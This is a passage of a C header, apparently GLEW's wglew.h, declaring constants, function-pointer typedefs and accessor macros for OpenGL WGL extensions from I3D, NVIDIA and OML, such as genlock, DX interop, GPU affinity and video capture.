WGL_I3D_digital_video_control\r\n#define WGL_I3D_digital_video_control 1\r\n\r\n#define WGL_DIGITAL_VIDEO_CURSOR_ALPHA_FRAMEBUFFER_I3D 0x2050\r\n#define WGL_DIGITAL_VIDEO_CURSOR_ALPHA_VALUE_I3D 0x2051\r\n#define WGL_DIGITAL_VIDEO_CURSOR_INCLUDED_I3D 0x2052\r\n#define WGL_DIGITAL_VIDEO_GAMMA_CORRECTED_I3D 0x2053\r\n\r\ntypedef BOOL (WINAPI * PFNWGLGETDIGITALVIDEOPARAMETERSI3DPROC) (HDC hDC, int iAttribute, int* piValue);\r\ntypedef BOOL (WINAPI * PFNWGLSETDIGITALVIDEOPARAMETERSI3DPROC) (HDC hDC, int iAttribute, const int* piValue);\r\n\r\n#define wglGetDigitalVideoParametersI3D WGLEW_GET_FUN(__wglewGetDigitalVideoParametersI3D)\r\n#define wglSetDigitalVideoParametersI3D WGLEW_GET_FUN(__wglewSetDigitalVideoParametersI3D)\r\n\r\n#define WGLEW_I3D_digital_video_control WGLEW_GET_VAR(__WGLEW_I3D_digital_video_control)\r\n\r\n#endif /* WGL_I3D_digital_video_control */\r\n\r\n/* ----------------------------- WGL_I3D_gamma ----------------------------- */\r\n\r\n#ifndef WGL_I3D_gamma\r\n#define WGL_I3D_gamma 1\r\n\r\n#define WGL_GAMMA_TABLE_SIZE_I3D 0x204E\r\n#define WGL_GAMMA_EXCLUDE_DESKTOP_I3D 0x204F\r\n\r\ntypedef BOOL (WINAPI * PFNWGLGETGAMMATABLEI3DPROC) (HDC hDC, int iEntries, USHORT* puRed, USHORT *puGreen, USHORT *puBlue);\r\ntypedef BOOL (WINAPI * PFNWGLGETGAMMATABLEPARAMETERSI3DPROC) (HDC hDC, int iAttribute, int* piValue);\r\ntypedef BOOL (WINAPI * PFNWGLSETGAMMATABLEI3DPROC) (HDC hDC, int iEntries, const USHORT* puRed, const USHORT *puGreen, const USHORT *puBlue);\r\ntypedef BOOL (WINAPI * PFNWGLSETGAMMATABLEPARAMETERSI3DPROC) (HDC hDC, int iAttribute, const int* piValue);\r\n\r\n#define wglGetGammaTableI3D WGLEW_GET_FUN(__wglewGetGammaTableI3D)\r\n#define wglGetGammaTableParametersI3D WGLEW_GET_FUN(__wglewGetGammaTableParametersI3D)\r\n#define wglSetGammaTableI3D WGLEW_GET_FUN(__wglewSetGammaTableI3D)\r\n#define wglSetGammaTableParametersI3D WGLEW_GET_FUN(__wglewSetGammaTableParametersI3D)\r\n\r\n#define WGLEW_I3D_gamma WGLEW_GET_VAR(__WGLEW_I3D_gamma)\r\n\r\n#endif /* WGL_I3D_gamma */\r\n\r\n/* ---------------------------- WGL_I3D_genlock ---------------------------- */\r\n\r\n#ifndef WGL_I3D_genlock\r\n#define WGL_I3D_genlock 1\r\n\r\n#define WGL_GENLOCK_SOURCE_MULTIVIEW_I3D 0x2044\r\n#define WGL_GENLOCK_SOURCE_EXTERNAL_SYNC_I3D 0x2045\r\n#define WGL_GENLOCK_SOURCE_EXTERNAL_FIELD_I3D 0x2046\r\n#define WGL_GENLOCK_SOURCE_EXTERNAL_TTL_I3D 0x2047\r\n#define WGL_GENLOCK_SOURCE_DIGITAL_SYNC_I3D 0x2048\r\n#define WGL_GENLOCK_SOURCE_DIGITAL_FIELD_I3D 0x2049\r\n#define WGL_GENLOCK_SOURCE_EDGE_FALLING_I3D 0x204A\r\n#define WGL_GENLOCK_SOURCE_EDGE_RISING_I3D 0x204B\r\n#define WGL_GENLOCK_SOURCE_EDGE_BOTH_I3D 0x204C\r\n\r\ntypedef BOOL (WINAPI * PFNWGLDISABLEGENLOCKI3DPROC) (HDC hDC);\r\ntypedef BOOL (WINAPI * PFNWGLENABLEGENLOCKI3DPROC) (HDC hDC);\r\ntypedef BOOL (WINAPI * PFNWGLGENLOCKSAMPLERATEI3DPROC) (HDC hDC, UINT uRate);\r\ntypedef BOOL (WINAPI * PFNWGLGENLOCKSOURCEDELAYI3DPROC) (HDC hDC, UINT uDelay);\r\ntypedef BOOL (WINAPI * PFNWGLGENLOCKSOURCEEDGEI3DPROC) (HDC hDC, UINT uEdge);\r\ntypedef BOOL (WINAPI * PFNWGLGENLOCKSOURCEI3DPROC) (HDC hDC, UINT uSource);\r\ntypedef BOOL (WINAPI * PFNWGLGETGENLOCKSAMPLERATEI3DPROC) (HDC hDC, UINT* uRate);\r\ntypedef BOOL (WINAPI * PFNWGLGETGENLOCKSOURCEDELAYI3DPROC) (HDC hDC, UINT* uDelay);\r\ntypedef BOOL (WINAPI * PFNWGLGETGENLOCKSOURCEEDGEI3DPROC) (HDC hDC, UINT* uEdge);\r\ntypedef BOOL (WINAPI * PFNWGLGETGENLOCKSOURCEI3DPROC) (HDC hDC, UINT* uSource);\r\ntypedef BOOL (WINAPI * PFNWGLISENABLEDGENLOCKI3DPROC) (HDC hDC, BOOL* pFlag);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYGENLOCKMAXSOURCEDELAYI3DPROC) (HDC hDC, UINT* uMaxLineDelay, UINT *uMaxPixelDelay);\r\n\r\n#define wglDisableGenlockI3D WGLEW_GET_FUN(__wglewDisableGenlockI3D)\r\n#define wglEnableGenlockI3D WGLEW_GET_FUN(__wglewEnableGenlockI3D)\r\n#define wglGenlockSampleRateI3D WGLEW_GET_FUN(__wglewGenlockSampleRateI3D)\r\n#define wglGenlockSourceDelayI3D WGLEW_GET_FUN(__wglewGenlockSourceDelayI3D)\r\n#define wglGenlockSourceEdgeI3D WGLEW_GET_FUN(__wglewGenlockSourceEdgeI3D)\r\n#define wglGenlockSourceI3D WGLEW_GET_FUN(__wglewGenlockSourceI3D)\r\n#define wglGetGenlockSampleRateI3D WGLEW_GET_FUN(__wglewGetGenlockSampleRateI3D)\r\n#define wglGetGenlockSourceDelayI3D WGLEW_GET_FUN(__wglewGetGenlockSourceDelayI3D)\r\n#define wglGetGenlockSourceEdgeI3D WGLEW_GET_FUN(__wglewGetGenlockSourceEdgeI3D)\r\n#define wglGetGenlockSourceI3D WGLEW_GET_FUN(__wglewGetGenlockSourceI3D)\r\n#define wglIsEnabledGenlockI3D WGLEW_GET_FUN(__wglewIsEnabledGenlockI3D)\r\n#define wglQueryGenlockMaxSourceDelayI3D WGLEW_GET_FUN(__wglewQueryGenlockMaxSourceDelayI3D)\r\n\r\n#define WGLEW_I3D_genlock WGLEW_GET_VAR(__WGLEW_I3D_genlock)\r\n\r\n#endif /* WGL_I3D_genlock */\r\n\r\n/* -------------------------- WGL_I3D_image_buffer ------------------------- */\r\n\r\n#ifndef WGL_I3D_image_buffer\r\n#define WGL_I3D_image_buffer 1\r\n\r\n#define WGL_IMAGE_BUFFER_MIN_ACCESS_I3D 0x00000001\r\n#define WGL_IMAGE_BUFFER_LOCK_I3D 0x00000002\r\n\r\ntypedef BOOL (WINAPI * PFNWGLASSOCIATEIMAGEBUFFEREVENTSI3DPROC) (HDC hdc, HANDLE* pEvent, LPVOID *pAddress, DWORD *pSize, UINT count);\r\ntypedef LPVOID (WINAPI * PFNWGLCREATEIMAGEBUFFERI3DPROC) (HDC hDC, DWORD dwSize, UINT uFlags);\r\ntypedef BOOL (WINAPI * PFNWGLDESTROYIMAGEBUFFERI3DPROC) (HDC hDC, LPVOID pAddress);\r\ntypedef BOOL (WINAPI * PFNWGLRELEASEIMAGEBUFFEREVENTSI3DPROC) (HDC hdc, LPVOID* pAddress, UINT count);\r\n\r\n#define wglAssociateImageBufferEventsI3D WGLEW_GET_FUN(__wglewAssociateImageBufferEventsI3D)\r\n#define wglCreateImageBufferI3D WGLEW_GET_FUN(__wglewCreateImageBufferI3D)\r\n#define wglDestroyImageBufferI3D WGLEW_GET_FUN(__wglewDestroyImageBufferI3D)\r\n#define wglReleaseImageBufferEventsI3D WGLEW_GET_FUN(__wglewReleaseImageBufferEventsI3D)\r\n\r\n#define WGLEW_I3D_image_buffer WGLEW_GET_VAR(__WGLEW_I3D_image_buffer)\r\n\r\n#endif /* WGL_I3D_image_buffer */\r\n\r\n/* ------------------------ WGL_I3D_swap_frame_lock ------------------------ */\r\n\r\n#ifndef WGL_I3D_swap_frame_lock\r\n#define WGL_I3D_swap_frame_lock 1\r\n\r\ntypedef BOOL (WINAPI * PFNWGLDISABLEFRAMELOCKI3DPROC) (VOID);\r\ntypedef BOOL (WINAPI * PFNWGLENABLEFRAMELOCKI3DPROC) (VOID);\r\ntypedef BOOL (WINAPI * PFNWGLISENABLEDFRAMELOCKI3DPROC) (BOOL* pFlag);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYFRAMELOCKMASTERI3DPROC) (BOOL* pFlag);\r\n\r\n#define wglDisableFrameLockI3D WGLEW_GET_FUN(__wglewDisableFrameLockI3D)\r\n#define wglEnableFrameLockI3D WGLEW_GET_FUN(__wglewEnableFrameLockI3D)\r\n#define wglIsEnabledFrameLockI3D WGLEW_GET_FUN(__wglewIsEnabledFrameLockI3D)\r\n#define wglQueryFrameLockMasterI3D WGLEW_GET_FUN(__wglewQueryFrameLockMasterI3D)\r\n\r\n#define WGLEW_I3D_swap_frame_lock WGLEW_GET_VAR(__WGLEW_I3D_swap_frame_lock)\r\n\r\n#endif /* WGL_I3D_swap_frame_lock */\r\n\r\n/* ------------------------ WGL_I3D_swap_frame_usage ----------------------- */\r\n\r\n#ifndef WGL_I3D_swap_frame_usage\r\n#define WGL_I3D_swap_frame_usage 1\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBEGINFRAMETRACKINGI3DPROC) (void);\r\ntypedef BOOL (WINAPI * PFNWGLENDFRAMETRACKINGI3DPROC) (void);\r\ntypedef BOOL (WINAPI * PFNWGLGETFRAMEUSAGEI3DPROC) (float* pUsage);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYFRAMETRACKINGI3DPROC) (DWORD* pFrameCount, DWORD *pMissedFrames, float *pLastMissedUsage);\r\n\r\n#define wglBeginFrameTrackingI3D WGLEW_GET_FUN(__wglewBeginFrameTrackingI3D)\r\n#define wglEndFrameTrackingI3D WGLEW_GET_FUN(__wglewEndFrameTrackingI3D)\r\n#define wglGetFrameUsageI3D WGLEW_GET_FUN(__wglewGetFrameUsageI3D)\r\n#define wglQueryFrameTrackingI3D WGLEW_GET_FUN(__wglewQueryFrameTrackingI3D)\r\n\r\n#define WGLEW_I3D_swap_frame_usage WGLEW_GET_VAR(__WGLEW_I3D_swap_frame_usage)\r\n\r\n#endif /* WGL_I3D_swap_frame_usage */\r\n\r\n/* --------------------------- WGL_NV_DX_interop --------------------------- */\r\n\r\n#ifndef WGL_NV_DX_interop\r\n#define WGL_NV_DX_interop 1\r\n\r\n#define WGL_ACCESS_READ_ONLY_NV 0x0000\r\n#define WGL_ACCESS_READ_WRITE_NV 0x0001\r\n#define WGL_ACCESS_WRITE_DISCARD_NV 0x0002\r\n\r\ntypedef BOOL (WINAPI * PFNWGLDXCLOSEDEVICENVPROC) (HANDLE hDevice);\r\ntypedef BOOL (WINAPI * PFNWGLDXLOCKOBJECTSNVPROC) (HANDLE hDevice, GLint count, HANDLE* hObjects);\r\ntypedef BOOL (WINAPI * PFNWGLDXOBJECTACCESSNVPROC) (HANDLE hObject, GLenum access);\r\ntypedef HANDLE (WINAPI * PFNWGLDXOPENDEVICENVPROC) (void* dxDevice);\r\ntypedef HANDLE (WINAPI * PFNWGLDXREGISTEROBJECTNVPROC) (HANDLE hDevice, void* dxObject, GLuint name, GLenum type, GLenum access);\r\ntypedef BOOL (WINAPI * PFNWGLDXSETRESOURCESHAREHANDLENVPROC) (void* dxObject, HANDLE shareHandle);\r\ntypedef BOOL (WINAPI * PFNWGLDXUNLOCKOBJECTSNVPROC) (HANDLE hDevice, GLint count, HANDLE* hObjects);\r\ntypedef BOOL (WINAPI * PFNWGLDXUNREGISTEROBJECTNVPROC) (HANDLE hDevice, HANDLE hObject);\r\n\r\n#define wglDXCloseDeviceNV WGLEW_GET_FUN(__wglewDXCloseDeviceNV)\r\n#define wglDXLockObjectsNV WGLEW_GET_FUN(__wglewDXLockObjectsNV)\r\n#define wglDXObjectAccessNV WGLEW_GET_FUN(__wglewDXObjectAccessNV)\r\n#define wglDXOpenDeviceNV WGLEW_GET_FUN(__wglewDXOpenDeviceNV)\r\n#define wglDXRegisterObjectNV WGLEW_GET_FUN(__wglewDXRegisterObjectNV)\r\n#define wglDXSetResourceShareHandleNV WGLEW_GET_FUN(__wglewDXSetResourceShareHandleNV)\r\n#define wglDXUnlockObjectsNV WGLEW_GET_FUN(__wglewDXUnlockObjectsNV)\r\n#define wglDXUnregisterObjectNV WGLEW_GET_FUN(__wglewDXUnregisterObjectNV)\r\n\r\n#define WGLEW_NV_DX_interop WGLEW_GET_VAR(__WGLEW_NV_DX_interop)\r\n\r\n#endif /* WGL_NV_DX_interop */\r\n\r\n/* --------------------------- WGL_NV_copy_image --------------------------- */\r\n\r\n#ifndef WGL_NV_copy_image\r\n#define WGL_NV_copy_image 1\r\n\r\ntypedef BOOL (WINAPI * PFNWGLCOPYIMAGESUBDATANVPROC) (HGLRC hSrcRC, GLuint srcName, GLenum srcTarget, GLint srcLevel, GLint srcX, GLint srcY, GLint srcZ, HGLRC hDstRC, GLuint dstName, GLenum dstTarget, GLint dstLevel, GLint dstX, GLint dstY, GLint dstZ, GLsizei width, GLsizei height, GLsizei depth);\r\n\r\n#define wglCopyImageSubDataNV WGLEW_GET_FUN(__wglewCopyImageSubDataNV)\r\n\r\n#define WGLEW_NV_copy_image WGLEW_GET_VAR(__WGLEW_NV_copy_image)\r\n\r\n#endif /* WGL_NV_copy_image */\r\n\r\n/* -------------------------- WGL_NV_float_buffer -------------------------- */\r\n\r\n#ifndef WGL_NV_float_buffer\r\n#define WGL_NV_float_buffer 1\r\n\r\n#define WGL_FLOAT_COMPONENTS_NV 0x20B0\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_FLOAT_R_NV 0x20B1\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_FLOAT_RG_NV 0x20B2\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_FLOAT_RGB_NV 0x20B3\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_FLOAT_RGBA_NV 0x20B4\r\n#define WGL_TEXTURE_FLOAT_R_NV 0x20B5\r\n#define WGL_TEXTURE_FLOAT_RG_NV 0x20B6\r\n#define WGL_TEXTURE_FLOAT_RGB_NV 0x20B7\r\n#define WGL_TEXTURE_FLOAT_RGBA_NV 0x20B8\r\n\r\n#define WGLEW_NV_float_buffer WGLEW_GET_VAR(__WGLEW_NV_float_buffer)\r\n\r\n#endif /* WGL_NV_float_buffer */\r\n\r\n/* -------------------------- WGL_NV_gpu_affinity -------------------------- */\r\n\r\n#ifndef WGL_NV_gpu_affinity\r\n#define WGL_NV_gpu_affinity 1\r\n\r\n#define WGL_ERROR_INCOMPATIBLE_AFFINITY_MASKS_NV 0x20D0\r\n#define WGL_ERROR_MISSING_AFFINITY_MASK_NV 0x20D1\r\n\r\nDECLARE_HANDLE(HGPUNV);\r\ntypedef struct _GPU_DEVICE {\r\n  DWORD cb; \r\n  CHAR DeviceName[32]; \r\n  CHAR DeviceString[128]; \r\n  DWORD Flags; \r\n  RECT rcVirtualScreen; \r\n} GPU_DEVICE, *PGPU_DEVICE;\r\n\r\ntypedef HDC (WINAPI * PFNWGLCREATEAFFINITYDCNVPROC) (const HGPUNV *phGpuList);\r\ntypedef BOOL (WINAPI * PFNWGLDELETEDCNVPROC) (HDC hdc);\r\ntypedef BOOL (WINAPI * PFNWGLENUMGPUDEVICESNVPROC) (HGPUNV hGpu, UINT iDeviceIndex, PGPU_DEVICE lpGpuDevice);\r\ntypedef BOOL (WINAPI * PFNWGLENUMGPUSFROMAFFINITYDCNVPROC) (HDC hAffinityDC, UINT iGpuIndex, HGPUNV *hGpu);\r\ntypedef BOOL (WINAPI * PFNWGLENUMGPUSNVPROC) (UINT iGpuIndex, HGPUNV *phGpu);\r\n\r\n#define wglCreateAffinityDCNV WGLEW_GET_FUN(__wglewCreateAffinityDCNV)\r\n#define wglDeleteDCNV WGLEW_GET_FUN(__wglewDeleteDCNV)\r\n#define wglEnumGpuDevicesNV WGLEW_GET_FUN(__wglewEnumGpuDevicesNV)\r\n#define wglEnumGpusFromAffinityDCNV WGLEW_GET_FUN(__wglewEnumGpusFromAffinityDCNV)\r\n#define wglEnumGpusNV WGLEW_GET_FUN(__wglewEnumGpusNV)\r\n\r\n#define WGLEW_NV_gpu_affinity WGLEW_GET_VAR(__WGLEW_NV_gpu_affinity)\r\n\r\n#endif /* WGL_NV_gpu_affinity */\r\n\r\n/* ---------------------- WGL_NV_multisample_coverage ---------------------- */\r\n\r\n#ifndef WGL_NV_multisample_coverage\r\n#define WGL_NV_multisample_coverage 1\r\n\r\n#define WGL_COVERAGE_SAMPLES_NV 0x2042\r\n#define WGL_COLOR_SAMPLES_NV 0x20B9\r\n\r\n#define WGLEW_NV_multisample_coverage WGLEW_GET_VAR(__WGLEW_NV_multisample_coverage)\r\n\r\n#endif /* WGL_NV_multisample_coverage */\r\n\r\n/* -------------------------- WGL_NV_present_video ------------------------- */\r\n\r\n#ifndef WGL_NV_present_video\r\n#define WGL_NV_present_video 1\r\n\r\n#define WGL_NUM_VIDEO_SLOTS_NV 0x20F0\r\n\r\nDECLARE_HANDLE(HVIDEOOUTPUTDEVICENV);\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBINDVIDEODEVICENVPROC) (HDC hDc, unsigned int uVideoSlot, HVIDEOOUTPUTDEVICENV hVideoDevice, const int* piAttribList);\r\ntypedef int (WINAPI * PFNWGLENUMERATEVIDEODEVICESNVPROC) (HDC hDc, HVIDEOOUTPUTDEVICENV* phDeviceList);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYCURRENTCONTEXTNVPROC) (int iAttribute, int* piValue);\r\n\r\n#define wglBindVideoDeviceNV WGLEW_GET_FUN(__wglewBindVideoDeviceNV)\r\n#define wglEnumerateVideoDevicesNV WGLEW_GET_FUN(__wglewEnumerateVideoDevicesNV)\r\n#define wglQueryCurrentContextNV WGLEW_GET_FUN(__wglewQueryCurrentContextNV)\r\n\r\n#define WGLEW_NV_present_video WGLEW_GET_VAR(__WGLEW_NV_present_video)\r\n\r\n#endif /* WGL_NV_present_video */\r\n\r\n/* ---------------------- WGL_NV_render_depth_texture ---------------------- */\r\n\r\n#ifndef WGL_NV_render_depth_texture\r\n#define WGL_NV_render_depth_texture 1\r\n\r\n#define WGL_NO_TEXTURE_ARB 0x2077\r\n#define WGL_BIND_TO_TEXTURE_DEPTH_NV 0x20A3\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_DEPTH_NV 0x20A4\r\n#define WGL_DEPTH_TEXTURE_FORMAT_NV 0x20A5\r\n#define WGL_TEXTURE_DEPTH_COMPONENT_NV 0x20A6\r\n#define WGL_DEPTH_COMPONENT_NV 0x20A7\r\n\r\n#define WGLEW_NV_render_depth_texture WGLEW_GET_VAR(__WGLEW_NV_render_depth_texture)\r\n\r\n#endif /* WGL_NV_render_depth_texture */\r\n\r\n/* -------------------- WGL_NV_render_texture_rectangle -------------------- */\r\n\r\n#ifndef WGL_NV_render_texture_rectangle\r\n#define WGL_NV_render_texture_rectangle 1\r\n\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_RGB_NV 0x20A0\r\n#define WGL_BIND_TO_TEXTURE_RECTANGLE_RGBA_NV 0x20A1\r\n#define WGL_TEXTURE_RECTANGLE_NV 0x20A2\r\n\r\n#define WGLEW_NV_render_texture_rectangle WGLEW_GET_VAR(__WGLEW_NV_render_texture_rectangle)\r\n\r\n#endif /* WGL_NV_render_texture_rectangle */\r\n\r\n/* --------------------------- WGL_NV_swap_group --------------------------- */\r\n\r\n#ifndef WGL_NV_swap_group\r\n#define WGL_NV_swap_group 1\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBINDSWAPBARRIERNVPROC) (GLuint group, GLuint barrier);\r\ntypedef BOOL (WINAPI * PFNWGLJOINSWAPGROUPNVPROC) (HDC hDC, GLuint group);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYFRAMECOUNTNVPROC) (HDC hDC, GLuint* count);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYMAXSWAPGROUPSNVPROC) (HDC hDC, GLuint* maxGroups, GLuint *maxBarriers);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYSWAPGROUPNVPROC) (HDC hDC, GLuint* group, GLuint *barrier);\r\ntypedef BOOL (WINAPI * PFNWGLRESETFRAMECOUNTNVPROC) (HDC hDC);\r\n\r\n#define wglBindSwapBarrierNV WGLEW_GET_FUN(__wglewBindSwapBarrierNV)\r\n#define wglJoinSwapGroupNV WGLEW_GET_FUN(__wglewJoinSwapGroupNV)\r\n#define wglQueryFrameCountNV WGLEW_GET_FUN(__wglewQueryFrameCountNV)\r\n#define wglQueryMaxSwapGroupsNV WGLEW_GET_FUN(__wglewQueryMaxSwapGroupsNV)\r\n#define wglQuerySwapGroupNV WGLEW_GET_FUN(__wglewQuerySwapGroupNV)\r\n#define wglResetFrameCountNV WGLEW_GET_FUN(__wglewResetFrameCountNV)\r\n\r\n#define WGLEW_NV_swap_group WGLEW_GET_VAR(__WGLEW_NV_swap_group)\r\n\r\n#endif /* WGL_NV_swap_group */\r\n\r\n/* ----------------------- WGL_NV_vertex_array_range ----------------------- */\r\n\r\n#ifndef WGL_NV_vertex_array_range\r\n#define WGL_NV_vertex_array_range 1\r\n\r\ntypedef void * (WINAPI * PFNWGLALLOCATEMEMORYNVPROC) (GLsizei size, GLfloat readFrequency, GLfloat writeFrequency, GLfloat priority);\r\ntypedef void (WINAPI * PFNWGLFREEMEMORYNVPROC) (void *pointer);\r\n\r\n#define wglAllocateMemoryNV WGLEW_GET_FUN(__wglewAllocateMemoryNV)\r\n#define wglFreeMemoryNV WGLEW_GET_FUN(__wglewFreeMemoryNV)\r\n\r\n#define WGLEW_NV_vertex_array_range WGLEW_GET_VAR(__WGLEW_NV_vertex_array_range)\r\n\r\n#endif /* WGL_NV_vertex_array_range */\r\n\r\n/* -------------------------- WGL_NV_video_capture ------------------------- */\r\n\r\n#ifndef WGL_NV_video_capture\r\n#define WGL_NV_video_capture 1\r\n\r\n#define WGL_UNIQUE_ID_NV 0x20CE\r\n#define WGL_NUM_VIDEO_CAPTURE_SLOTS_NV 0x20CF\r\n\r\nDECLARE_HANDLE(HVIDEOINPUTDEVICENV);\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBINDVIDEOCAPTUREDEVICENVPROC) (UINT uVideoSlot, HVIDEOINPUTDEVICENV hDevice);\r\ntypedef UINT (WINAPI * PFNWGLENUMERATEVIDEOCAPTUREDEVICESNVPROC) (HDC hDc, HVIDEOINPUTDEVICENV* phDeviceList);\r\ntypedef BOOL (WINAPI * PFNWGLLOCKVIDEOCAPTUREDEVICENVPROC) (HDC hDc, HVIDEOINPUTDEVICENV hDevice);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYVIDEOCAPTUREDEVICENVPROC) (HDC hDc, HVIDEOINPUTDEVICENV hDevice, int iAttribute, int* piValue);\r\ntypedef BOOL (WINAPI * PFNWGLRELEASEVIDEOCAPTUREDEVICENVPROC) (HDC hDc, HVIDEOINPUTDEVICENV hDevice);\r\n\r\n#define wglBindVideoCaptureDeviceNV WGLEW_GET_FUN(__wglewBindVideoCaptureDeviceNV)\r\n#define wglEnumerateVideoCaptureDevicesNV WGLEW_GET_FUN(__wglewEnumerateVideoCaptureDevicesNV)\r\n#define wglLockVideoCaptureDeviceNV WGLEW_GET_FUN(__wglewLockVideoCaptureDeviceNV)\r\n#define wglQueryVideoCaptureDeviceNV WGLEW_GET_FUN(__wglewQueryVideoCaptureDeviceNV)\r\n#define wglReleaseVideoCaptureDeviceNV WGLEW_GET_FUN(__wglewReleaseVideoCaptureDeviceNV)\r\n\r\n#define WGLEW_NV_video_capture WGLEW_GET_VAR(__WGLEW_NV_video_capture)\r\n\r\n#endif /* WGL_NV_video_capture */\r\n\r\n/* -------------------------- WGL_NV_video_output -------------------------- */\r\n\r\n#ifndef WGL_NV_video_output\r\n#define WGL_NV_video_output 1\r\n\r\n#define WGL_BIND_TO_VIDEO_RGB_NV 0x20C0\r\n#define WGL_BIND_TO_VIDEO_RGBA_NV 0x20C1\r\n#define WGL_BIND_TO_VIDEO_RGB_AND_DEPTH_NV 0x20C2\r\n#define WGL_VIDEO_OUT_COLOR_NV 0x20C3\r\n#define WGL_VIDEO_OUT_ALPHA_NV 0x20C4\r\n#define WGL_VIDEO_OUT_DEPTH_NV 0x20C5\r\n#define WGL_VIDEO_OUT_COLOR_AND_ALPHA_NV 0x20C6\r\n#define WGL_VIDEO_OUT_COLOR_AND_DEPTH_NV 0x20C7\r\n#define WGL_VIDEO_OUT_FRAME 0x20C8\r\n#define WGL_VIDEO_OUT_FIELD_1 0x20C9\r\n#define WGL_VIDEO_OUT_FIELD_2 0x20CA\r\n#define WGL_VIDEO_OUT_STACKED_FIELDS_1_2 0x20CB\r\n#define WGL_VIDEO_OUT_STACKED_FIELDS_2_1 0x20CC\r\n\r\nDECLARE_HANDLE(HPVIDEODEV);\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBINDVIDEOIMAGENVPROC) (HPVIDEODEV hVideoDevice, HPBUFFERARB hPbuffer, int iVideoBuffer);\r\ntypedef BOOL (WINAPI * PFNWGLGETVIDEODEVICENVPROC) (HDC hDC, int numDevices, HPVIDEODEV* hVideoDevice);\r\ntypedef BOOL (WINAPI * PFNWGLGETVIDEOINFONVPROC) (HPVIDEODEV hpVideoDevice, unsigned long* pulCounterOutputPbuffer, unsigned long *pulCounterOutputVideo);\r\ntypedef BOOL (WINAPI * PFNWGLRELEASEVIDEODEVICENVPROC) (HPVIDEODEV hVideoDevice);\r\ntypedef BOOL (WINAPI * PFNWGLRELEASEVIDEOIMAGENVPROC) (HPBUFFERARB hPbuffer, int iVideoBuffer);\r\ntypedef BOOL (WINAPI * PFNWGLSENDPBUFFERTOVIDEONVPROC) (HPBUFFERARB hPbuffer, int iBufferType, unsigned long* pulCounterPbuffer, BOOL bBlock);\r\n\r\n#define wglBindVideoImageNV WGLEW_GET_FUN(__wglewBindVideoImageNV)\r\n#define wglGetVideoDeviceNV WGLEW_GET_FUN(__wglewGetVideoDeviceNV)\r\n#define wglGetVideoInfoNV WGLEW_GET_FUN(__wglewGetVideoInfoNV)\r\n#define wglReleaseVideoDeviceNV WGLEW_GET_FUN(__wglewReleaseVideoDeviceNV)\r\n#define wglReleaseVideoImageNV WGLEW_GET_FUN(__wglewReleaseVideoImageNV)\r\n#define wglSendPbufferToVideoNV WGLEW_GET_FUN(__wglewSendPbufferToVideoNV)\r\n\r\n#define WGLEW_NV_video_output WGLEW_GET_VAR(__WGLEW_NV_video_output)\r\n\r\n#endif /* WGL_NV_video_output */\r\n\r\n/* -------------------------- WGL_OML_sync_control ------------------------- */\r\n\r\n#ifndef WGL_OML_sync_control\r\n#define WGL_OML_sync_control 1\r\n\r\ntypedef BOOL (WINAPI * PFNWGLGETMSCRATEOMLPROC) (HDC hdc, INT32* numerator, INT32 *denominator);\r\ntypedef BOOL (WINAPI * PFNWGLGETSYNCVALUESOMLPROC) (HDC hdc, INT64* ust, INT64 *msc, INT64 *sbc);\r\ntypedef INT64 (WINAPI * PFNWGLSWAPBUFFERSMSCOMLPROC) (HDC hdc, INT64 target_msc, INT64 divisor, INT64 remainder);\r\ntypedef INT64 (WINAPI * PFNWGLSWAPLAYERBUFFERSMSCOMLPROC) (HDC hdc, INT fuPlanes, INT64 target_msc, INT64 divisor, INT64 remainder);\r\ntypedef BOOL (WINAPI * PFNWGLWAITFORMSCOMLPROC) (HDC hdc, INT64 target_msc, INT64 divisor, INT64 remainder, INT64* ust, INT64 *msc, INT64 *sbc);\r\ntypedef BOOL (WINAPI * PFNWGLWAITFORSBCOMLPROC) (HDC hdc, INT64 target_sbc, INT64* ust, INT64 *msc, INT64 *sbc);\r\n\r\n#define wglGetMscRateOML WGLEW_GET_FUN(__wglewGetMscRateOML)\r\n#define wglGetSyncValuesOML WGLEW_GET_FUN(__wglewGetSyncValuesOML)\r\n#define wglSwapBuffersMscOML WGLEW_GET_FUN(__wglewSwapBuffersMscOML)\r\n#define wglSwapLayerBuffersMscOML WGLEW_GET_FUN(__wglewSwapLayerBuffersMscOML)\r\n#define wglWaitForMscOML WGLEW_GET_FUN(__wglewWaitForMscOML)\r\n#define wglWaitForSbcOML WGLEW_GET_FUN(__wglewWaitForSbcOML)\r\n\r\n#define WGLEW_OML_sync_control WGLEW_GET_VAR(__WGLEW_OML_sync_control)\r\n\r\n#endif /* WGL_OML_sync_control */\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\n#ifdef GLEW_MX\r\n#define WGLEW_EXPORT\r\n#else\r\n#define WGLEW_EXPORT GLEWAPI\r\n#endif /* GLEW_MX */\r\n\r\n#ifdef GLEW_MX\r\nstruct WGLEWContextStruct\r\n{\r\n#endif /* GLEW_MX */\r\n\r\nWGLEW_EXPORT PFNWGLSETSTEREOEMITTERSTATE3DLPROC __wglewSetStereoEmitterState3DL;\r\n\r\nWGLEW_EXPORT PFNWGLBLITCONTEXTFRAMEBUFFERAMDPROC __wglewBlitContextFramebufferAMD;\r\nWGLEW_EXPORT PFNWGLCREATEASSOCIATEDCONTEXTAMDPROC __wglewCreateAssociatedContextAMD;\r\nWGLEW_EXPORT PFNWGLCREATEASSOCIATEDCONTEXTATTRIBSAMDPROC __wglewCreateAssociatedContextAttribsAMD;\r\nWGLEW_EXPORT PFNWGLDELETEASSOCIATEDCONTEXTAMDPROC __wglewDeleteAssociatedContextAMD;\r\nWGLEW_EXPORT 